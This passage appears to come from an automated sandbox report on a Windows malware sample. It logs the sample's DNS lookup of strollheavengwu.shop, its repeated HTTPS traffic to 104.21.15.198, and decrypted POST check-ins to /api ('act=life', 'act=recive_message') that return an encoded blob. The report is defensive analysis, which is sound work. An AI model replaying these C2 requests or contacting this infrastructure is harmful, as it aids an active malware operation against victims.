GetEnvironmentStringsW, FreeEnvironmentStringsW, GetStringTypeW, HeapReAlloc, SetFilePointerEx, LCMapStringW, GetConsoleCP, CreateFileW
GDI32.dll	GetCharacterPlacementW
ADVAPI32.dll	DeregisterEventSource
WINHTTP.dll	WinHttpConnect

Possible Origin

Language of compilation system	Country where language is spoken	Map
Romanian	Romania

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 21, 2024 10:02:56.290056944 CEST	49705	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:56.290139914 CEST	443	49705	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:56.290272951 CEST	49705	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:56.291353941 CEST	49705	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:56.291385889 CEST	443	49705	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:56.522763014 CEST	443	49705	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:56.522910118 CEST	49705	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:56.525213957 CEST	49705	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:56.525243998 CEST	443	49705	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:56.525681019 CEST	443	49705	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:56.575229883 CEST	49705	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:56.575269938 CEST	49705	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:56.575433969 CEST	443	49705	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.086143017 CEST	443	49705	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.086453915 CEST	443	49705	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.086546898 CEST	49705	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:57.088989973 CEST	49705	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:57.089030981 CEST	443	49705	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.089061975 CEST	49705	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:57.089078903 CEST	443	49705	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.094355106 CEST	49706	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:57.094392061 CEST	443	49706	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.094456911 CEST	49706	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:57.094741106 CEST	49706	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:57.094759941 CEST	443	49706	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.317291021 CEST	443	49706	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.317518950 CEST	49706	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:57.318442106 CEST	49706	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:57.318454981 CEST	443	49706	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.318782091 CEST	443	49706	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.319935083 CEST	49706	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:57.319969893 CEST	49706	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:57.320034981 CEST	443	49706	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.862000942 CEST	443	49706	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.862129927 CEST	443	49706	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.862195969 CEST	49706	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:57.862219095 CEST	443	49706	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.862293005 CEST	443	49706	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.862354040 CEST	49706	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:57.862363100 CEST	443	49706	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.862433910 CEST	443	49706	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.862479925 CEST	49706	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:57.862488031 CEST	443	49706	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.862559080 CEST	443	49706	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.862608910 CEST	49706	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:57.862617016 CEST	443	49706	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.862704039 CEST	443	49706	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.862760067 CEST	49706	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:57.862767935 CEST	443	49706	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.862843037 CEST	443	49706	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.862888098 CEST	49706	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:57.862895966 CEST	443	49706	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.863055944 CEST	443	49706	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.863112926 CEST	49706	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:57.863296986 CEST	49706	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:57.863307953 CEST	443	49706	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.863322973 CEST	49706	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:57.863329887 CEST	443	49706	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.980386019 CEST	49707	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:57.980456114 CEST	443	49707	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:57.980539083 CEST	49707	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:57.980793953 CEST	49707	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:57.980829000 CEST	443	49707	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:58.203613997 CEST	443	49707	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:58.203738928 CEST	49707	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:58.205166101 CEST	49707	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:58.205188990 CEST	443	49707	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:58.205529928 CEST	443	49707	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:58.206779003 CEST	49707	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:58.206959009 CEST	49707	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:58.207009077 CEST	443	49707	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:58.708930969 CEST	443	49707	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:58.709096909 CEST	443	49707	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:58.709182978 CEST	49707	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:58.709398985 CEST	49707	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:58.709439039 CEST	443	49707	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:58.836241961 CEST	49708	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:58.836278915 CEST	443	49708	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:58.836365938 CEST	49708	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:58.836625099 CEST	49708	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:58.836641073 CEST	443	49708	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:59.053631067 CEST	443	49708	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:59.053714991 CEST	49708	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:59.054693937 CEST	49708	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:59.054706097 CEST	443	49708	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:59.055027008 CEST	443	49708	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:59.056497097 CEST	49708	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:59.056641102 CEST	49708	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:59.056674004 CEST	443	49708	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:59.056778908 CEST	49708	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:59.056787968 CEST	443	49708	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:59.581727028 CEST	443	49708	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:59.581937075 CEST	49708	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:59.741935968 CEST	49709	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:59.742031097 CEST	443	49709	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:59.742108107 CEST	49709	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:59.742472887 CEST	49709	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:59.742486954 CEST	443	49709	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:59.967087984 CEST	443	49709	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:59.967267036 CEST	49709	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:59.968826056 CEST	49709	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:59.968836069 CEST	443	49709	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:59.969588041 CEST	443	49709	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:59.971359968 CEST	49709	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:59.971512079 CEST	49709	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:59.971539974 CEST	443	49709	104.21.15.198	192.168.2.5
Apr 21, 2024 10:02:59.971668959 CEST	49709	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:02:59.971676111 CEST	443	49709	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:00.395379066 CEST	443	49709	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:00.395623922 CEST	49709	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:00.585650921 CEST	49710	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:00.585736990 CEST	443	49710	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:00.585824966 CEST	49710	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:00.586309910 CEST	49710	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:00.586344957 CEST	443	49710	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:00.811341047 CEST	443	49710	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:00.811414957 CEST	49710	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:00.812531948 CEST	49710	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:00.812551975 CEST	443	49710	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:00.812884092 CEST	443	49710	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:00.814579010 CEST	49710	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:00.814666033 CEST	49710	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:00.814702988 CEST	443	49710	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:01.208095074 CEST	443	49710	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:01.208393097 CEST	49710	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:01.289649963 CEST	49711	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:01.289740086 CEST	443	49711	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:01.289844990 CEST	49711	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:01.290122032 CEST	49711	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:01.290155888 CEST	443	49711	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:01.513775110 CEST	443	49711	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:01.513911009 CEST	49711	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:01.514998913 CEST	49711	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:01.515024900 CEST	443	49711	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:01.515366077 CEST	443	49711	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:01.516886950 CEST	49711	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:01.516963005 CEST	49711	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:01.516973972 CEST	443	49711	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:02.021087885 CEST	443	49711	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:02.021301985 CEST	49711	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:02.552752018 CEST	49712	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:02.552828074 CEST	443	49712	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:02.552911997 CEST	49712	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:02.553237915 CEST	49712	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:02.553268909 CEST	443	49712	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:02.777803898 CEST	443	49712	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:02.777992010 CEST	49712	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:02.779437065 CEST	49712	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:02.779457092 CEST	443	49712	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:02.780283928 CEST	443	49712	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:02.781888008 CEST	49712	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:02.782571077 CEST	49712	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:02.782613993 CEST	443	49712	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:02.782716990 CEST	49712	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:02.782758951 CEST	443	49712	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:02.782905102 CEST	49712	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:02.782957077 CEST	443	49712	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:02.783118010 CEST	49712	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:02.783152103 CEST	443	49712	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:02.783349037 CEST	49712	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:02.783386946 CEST	443	49712	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:02.783581018 CEST	49712	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:02.783615112 CEST	443	49712	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:02.783632994 CEST	49712	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:02.783658981 CEST	443	49712	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:02.783802986 CEST	49712	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:02.783840895 CEST	443	49712	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:02.783883095 CEST	49712	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:02.783901930 CEST	443	49712	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:02.783977032 CEST	49712	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:02.784041882 CEST	49712	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:02.784092903 CEST	49712	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:02.828161955 CEST	443	49712	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:02.828553915 CEST	49712	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:02.828649044 CEST	49712	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:02.828682899 CEST	49712	443	192.168.2.5	104.21.15.198
Apr 21, 2024 10:03:02.872129917 CEST	443	49712	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:04.412096024 CEST	443	49712	104.21.15.198	192.168.2.5
Apr 21, 2024 10:03:04.412359953 CEST	49712	443	192.168.2.5	104.21.15.198

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 21, 2024 10:02:56.162630081 CEST	51527	53	192.168.2.5	1.1.1.1
Apr 21, 2024 10:02:56.285168886 CEST	53	51527	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 21, 2024 10:02:56.162630081 CEST	192.168.2.5	1.1.1.1	0x2e4c	Standard query (0)	strollheavengwu.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 21, 2024 10:02:56.285168886 CEST	1.1.1.1	192.168.2.5	0x2e4c	No error (0)	strollheavengwu.shop		104.21.15.198	A (IP address)	IN (0x0001)	false
Apr 21, 2024 10:02:56.285168886 CEST	1.1.1.1	192.168.2.5	0x2e4c	No error (0)	strollheavengwu.shop		172.67.163.209	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

strollheavengwu.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	104.21.15.198	443	2504	C:\Users\user\Desktop\qrLdMv1QXG.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 08:02:56 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: strollheavengwu.shop
2024-04-21 08:02:56 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-04-21 08:02:57 UTC	816	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 08:02:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v577hfbp4d6oh3ovslese68ene; expires=Thu, 15-Aug-2024 01:49:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xa5KTn0z4wm%2B5IUV000%2Br0BfT1QEbxViehUiPZUrPJAsO2BUc%2B%2Bn54aDn8lIHhhVbK5K0D2N284cJg7KXSA%2B94%2B6UwDLZSeXM9wd55VAvXr9uuD8X9XHVS%2F1eZI2ZHZmjb7cpDoY6A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877bdad06e8cb066-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 08:02:57 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-04-21 08:02:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	104.21.15.198	443	2504	C:\Users\user\Desktop\qrLdMv1QXG.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 08:02:57 UTC	268	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: strollheavengwu.shop
2024-04-21 08:02:57 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 36 4d 6b 30 4d 2d 2d 6b 65 79 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=P6Mk0M--key&j=default
2024-04-21 08:02:57 UTC	814	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 08:02:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1pouduv35e74g26mvm9ofl34ul; expires=Thu, 15-Aug-2024 01:49:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mQ%2F9uU2hV%2FjTt9XH9KcSj2jJ0w3JYO47sfwPrz1F35r%2FbPdyNB80lWUHQ9jL%2F8VEZcQwiTwwZmdIA9BI%2BXQqCoX5jYPwrXHIWbypTVrzvZ80LowornLBYZuL%2Fl7rUQ6DbkpqZNls4Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877bdad5688c7bcf-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 08:02:57 UTC	555	IN	Data Raw: 33 39 65 63 0d 0a 4b 77 44 6a 73 53 43 6a 57 52 49 34 76 4f 46 37 62 2b 63 78 71 56 6c 31 47 67 6c 59 6c 35 4d 30 57 42 78 59 53 69 38 4d 62 68 6c 51 43 75 71 54 56 6f 46 6a 4d 67 79 51 36 33 4a 4e 6c 46 53 4c 59 31 56 75 65 79 33 79 76 7a 35 52 50 6a 6b 75 44 54 5a 4f 66 30 70 73 6b 4e 51 4d 71 56 41 77 56 63 54 44 51 55 2b 38 4f 36 41 69 66 78 4d 41 65 76 4c 39 46 6d 49 38 65 6a 31 4b 62 67 74 68 58 32 57 4e 77 6b 6e 4d 4e 31 4a 56 32 5a 55 61 41 6f 5a 43 77 6e 63 63 64 53 74 30 6e 5a 6f 39 65 6e 6b 69 61 42 55 73 54 46 52 4f 64 49 4c 38 51 64 41 79 4d 42 53 32 36 48 4a 4e 67 6b 57 4c 59 31 55 34 56 58 72 6e 38 6b 59 35 63 53 73 57 44 54 59 56 52 51 6c 70 6c 39 52 53 77 69 31 37 56 39 4b 53 4a 30 33 64 42 35 6c 70 52 53 6f 35 4a 62 57 5a 50 53 55 57 55 Data Ascii: 39ecKwDjsSCjWRI4vOF7b+cxqVl1GglYl5M0WBxYSi8MbhlQCuqTVoFjMgyQ63JNlFSLY1Vuey3yvz5RPjkuDTZOf0pskNQMqVAwVcTDQU+8O6AifxMAevL9FmI8ej1KbgthX2WNwknMN1JV2ZUaAoZCwnccdSt0nZo9enkiaBUsTFROdIL8QdAyMBS26HJNgkWLY1U4VXrn8kY5cSsWDTYVRQlpl9RSwi17V9KSJ03dB5lpRSo5JbWZPSUWU
2024-04-21 08:02:57 UTC	1369	IN	Data Raw: 43 59 46 54 48 78 46 49 74 6d 52 41 73 63 31 63 56 66 65 6b 52 45 47 6a 6c 62 5a 4d 42 35 31 5a 6a 72 34 2b 31 6b 35 66 6a 30 69 52 32 45 47 66 30 52 76 68 39 4e 43 67 58 55 59 4d 62 58 44 48 68 58 46 43 34 6c 37 4e 48 31 37 50 66 6e 6e 46 41 41 2b 55 6b 4e 53 49 47 63 35 43 77 72 71 79 69 71 71 55 44 42 64 30 73 4e 42 54 38 56 62 7a 6a 67 55 63 32 51 35 2f 66 70 45 4f 6d 77 38 4a 55 68 38 43 6e 35 48 61 49 4c 42 53 4d 38 39 63 31 50 56 69 68 77 4b 67 52 4f 46 55 33 77 54 4b 7a 33 74 73 51 35 34 50 68 73 6c 52 6d 49 47 62 45 6b 69 36 62 68 64 6a 31 4d 62 51 37 62 6f 63 6b 32 43 58 34 74 6a 56 54 68 76 4f 2f 48 77 55 6a 52 77 50 69 52 4c 59 41 46 30 54 32 69 42 31 45 6a 4a 4d 33 46 58 31 59 77 5a 43 49 68 58 7a 54 63 57 66 53 74 30 6e 5a 6f 39 65 6e 6b 69 Data Ascii: CYFTHxFItmRAsc1cVfekREGjlbZMB51Zjr4+1k5fj0iR2EGf0Rvh9NCgXUYMbXDHhXFC4l7NH17PfnnFAA+UkNSIGc5CwrqyiqqUDBd0sNBT8VbzjgUc2Q5/fpEOmw8JUh8Cn5HaILBSM89c1PVihwKgROFU3wTKz3tsQ54PhslRmIGbEki6bhdj1MbQ7bock2CX4tjVThvO/HwUjRwPiRLYAF0T2iB1EjJM3FX1YwZCIhXzTcWfSt0nZo9enki
2024-04-21 08:02:57 UTC	1369	IN	Data Raw: 56 2b 52 6e 43 4c 33 30 50 54 50 48 6c 54 31 49 49 58 41 6f 35 66 7a 69 6b 63 64 32 4d 31 39 50 78 62 4d 58 6f 36 61 41 4d 47 5a 78 41 4a 5a 5a 6d 54 47 6f 4e 37 55 56 66 52 6b 52 6f 63 78 32 62 49 4e 52 6c 2f 66 58 71 64 6d 6b 6c 30 46 6c 45 78 4a 51 56 6e 4f 30 35 75 77 59 73 41 67 54 70 38 56 74 2b 4d 48 77 65 4e 55 4d 6f 70 48 6e 64 6a 4e 66 7a 77 56 54 35 2f 4d 44 70 66 62 67 42 70 52 57 69 48 33 45 2f 4e 65 7a 34 79 74 65 68 5a 43 70 30 54 6b 33 6c 58 55 6d 67 75 39 76 73 55 44 33 30 30 4a 6b 70 34 54 42 4d 69 66 63 2b 37 4b 64 68 54 47 7a 47 65 68 42 56 4e 33 52 47 4c 4e 68 5a 77 62 53 6a 36 2f 46 55 30 63 44 55 74 51 6d 59 4d 65 30 52 6e 68 64 68 4a 77 6a 5a 30 53 4e 53 44 45 51 69 45 57 63 46 37 57 52 41 41 55 62 58 32 54 6e 6f 6d 65 47 68 38 65 Data Ascii: V+RnCL30PTPHlT1IIXAo5fzikcd2M19PxbMXo6aAMGZxAJZZmTGoN7UVfRkRocx2bINRl/fXqdmkl0FlExJQVnO05uwYsAgTp8Vt+MHweNUMopHndjNfzwVT5/MDpfbgBpRWiH3E/Nez4ytehZCp0Tk3lXUmgu9vsUD300Jkp4TBMifc+7KdhTGzGehBVN3RGLNhZwbSj6/FU0cDUtQmYMe0RnhdhJwjZ0SNSDEQiEWcF7WRAAUbX2TnomeGh8e
2024-04-21 08:02:57 UTC	1369	IN	Data Raw: 6c 6a 64 74 48 7a 6a 31 31 56 39 6d 49 47 68 2b 58 55 4d 38 31 47 7a 67 6c 55 70 36 61 46 6a 31 6d 65 6e 41 50 4c 69 6c 73 53 6e 4b 48 30 41 4b 70 55 47 38 55 74 75 67 41 5a 65 34 34 69 7a 77 62 4f 44 4e 34 74 66 46 59 4e 6e 55 39 49 30 5a 71 43 48 74 45 61 59 2f 64 53 38 30 7a 66 46 33 4d 6a 68 77 46 6a 31 72 4f 4e 78 70 37 65 54 6e 30 73 52 68 53 46 56 46 6f 53 6e 5a 4d 49 77 73 69 70 75 42 31 34 6e 73 59 4d 63 48 4e 63 57 61 63 4f 36 42 51 56 33 39 6e 65 71 32 7a 46 6a 74 32 50 53 5a 4a 66 41 4a 70 52 32 57 42 31 55 72 4a 50 48 78 55 30 4a 45 52 44 49 56 64 78 44 4d 65 66 47 6f 2b 38 66 31 52 65 6a 42 53 51 79 59 75 43 32 4d 4a 4f 73 4f 54 61 73 49 68 61 68 6a 77 69 42 6b 4b 6c 55 58 51 65 33 38 54 64 48 53 64 6d 6b 39 53 46 56 46 6f 53 6d 4a 4d 49 77 Data Ascii: ljdtHzj11V9mIGh+XUM81GzglUp6aFj1menAPLilsSnKH0AKpUG8UtugAZe44izwbODN4tfFYNnU9I0ZqCHtEaY/dS80zfF3MjhwFj1rONxp7eTn0sRhSFVFoSnZMIwsipuB14nsYMcHNcWacO6BQV39neq2zFjt2PSZJfAJpR2WB1UrJPHxU0JERDIVdxDMefGo+8f1RejBSQyYuC2MJOsOTasIhahjwiBkKlUXQe38TdHSdmk9SFVFoSmJMIw
2024-04-21 08:02:57 UTC	1369	IN	Data Raw: 54 4d 30 77 65 31 48 64 69 52 41 4f 69 56 58 4b 4e 52 64 32 61 33 71 37 6d 54 31 52 50 6a 30 77 44 54 5a 4f 4f 32 6c 70 6c 38 5a 42 30 54 31 33 56 70 37 72 63 68 4c 4c 4f 36 41 69 66 78 4d 41 65 76 4c 39 46 6d 49 38 65 69 5a 66 61 67 31 37 51 57 75 4e 32 45 72 54 50 48 64 52 30 49 30 53 43 59 6c 61 77 44 49 53 64 47 6f 78 2f 50 52 53 4d 48 67 33 61 41 4d 47 5a 78 41 4a 5a 5a 6d 54 47 6f 4e 37 58 46 6e 52 69 46 6c 6c 37 6b 79 46 55 33 78 68 41 31 47 65 73 56 45 32 50 6d 4a 71 44 57 6b 45 63 30 64 68 68 39 68 4f 7a 54 70 35 58 4e 75 4c 48 67 4b 43 57 73 77 37 45 57 70 73 4e 2f 7a 78 58 54 4e 30 50 69 6c 47 4c 6b 49 54 49 67 6e 42 31 46 71 42 59 7a 49 61 37 49 51 50 48 59 59 54 6f 31 41 49 4e 67 42 53 6e 75 67 2b 55 52 56 36 4c 30 45 75 56 44 6b 4a 62 35 50 Data Ascii: 